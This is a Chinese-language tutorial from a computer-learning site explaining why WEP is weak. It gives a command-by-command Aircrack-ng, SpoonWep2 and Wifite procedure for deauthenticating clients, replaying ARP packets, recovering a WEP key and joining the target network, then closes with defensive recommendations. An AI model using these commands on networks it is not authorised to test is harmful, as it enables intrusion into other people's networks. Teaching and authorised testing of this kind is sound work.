萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 網路安全 >  >> 無線網路知識

WEP 無線網路破解技術原理與流程教學:BackTrack 3 + SpoonWep2 實作(僅供學術研究)

⚠️ 法律聲明:本文僅供網路安全教學與授權滲透測試參考。未經授權破解他人 Wi-Fi 密碼屬違法行為(台灣《刑法》第 358-2 條、《電信管理法》),請勿用於非法用途。建議自家路由器使用 WPA2/WPA3-AES 加密並關閉 WPS。

一、背景知識:為何 WEP 不安全?

  • WEP (Wired Equivalent Privacy) 採用 RC4 流加密,初始化向量 (IV) 僅 24 bits,重複率極高。
  • 透過收集大量含弱 IV 的封包,可利用統計攻擊 (FMS 攻擊、KoreK 攻擊、PTW 攻擊) 還原金鑰。
  • 現代工具 (Aircrack-ng, SpoonWep2) 自動化此過程,數分鐘內即可破解。

二、實驗環境準備

三、製作可開機 USB (以 Kali Linux 為例)

  1. 下載 Kali Linux ISO (官網 kali.org)。
  2. 使用 Rufus (Windows) 或 dd (Linux/macOS) 燒錄至 USB,分區結構 MBR/BIOS 或 GPT/UEFI 視目標電腦。
  3. 設定 BIOS/UEFI 從 USB 開機,進入 Kali Live 環境。

四、WEP 破解標準流程 (Aircrack-ng 手動模式)

# 1. 確認無線介面名稱
iwconfig
# 假設為 wlan0

# 2. 啟動監聽模式
airmon-ng start wlan0
# 產生 wlan0mon

# 3. 掃描目標 AP
airodump-ng wlan0mon
# 記下目標 BSSID、Channel、ESSID

# 4. 針對目標抓封包 (存檔為 wep.cap)
airodump-ng -c  --bssid  -w wep wlan0mon

# 5. (另開終端) 強制解除認證產生 ARP 重播/新 IV
aireplay-ng -0 10 -a  wlan0mon
# 或 ARP 重播攻擊
aireplay-ng -3 -b  -h  wlan0mon

# 6. 破解金鑰 (需 ~20,000~50,000 IVs)
aircrack-ng wep-01.cap
# 顯示 KEY FOUND! [ XX:XX:XX:XX:XX ]

五、SpoonWep2 圖形化流程 (歷史參考)

BackTrack 3 時代工具,現已停止維護,流程為:選介面 → 掃描 → 選目標 → Launch → 等待 IVs 累積 → 破解。現代建議直接使用 Wifite 自動化:

sudo wifite --wep --dict /path/to/wordlist.txt

六、驗證與連線

取得金鑰 (十六進位或 ASCII) 後,在 Windows/Linux/macOS/手機 Wi-Fi 設定中選擇目標 SSID,輸入金鑰連線驗證。

七、防禦建議:徹底淘汰 WEP

  • 路由器務必選擇 WPA2-PSK (AES) 或 WPA3-SAE。
  • 密碼長度 ≥ 12 字元,混合大小寫、數字、符號,避免字典詞彙。
  • 關閉 WPS (PIN 碼暴力破解風險極高)。
  • 啟用 MAC 過濾、客戶隔離、定期稽核客戶端清單。
  • 企業環境部署 WPA2/WPA3-Enterprise (802.1X + RADIUS)。

理解破解原理,才能建構更堅固的防禦體系。請合法合規運用本知識。

copyright © 萬盛學電腦網 all rights reserved
項目規格建議
作業系統Windows/Linux/macOS 均可(需建立可開機 USB)
無線網卡支援監聽模式與封包注入 (Atheros AR9271, Ralink RT3070, Realtek RTL8812AU 等)
USB 隨身碟2 GB 以上,格式化為 FAT32
攻擊平台BackTrack 3 (舊) / Kali Linux (現代標準) / Parrot Security
破解工具SpoonWep2 (舊圖形介面) / Aircrack-ng 套件 (指令列、標準) / Wifite (自動化腳本)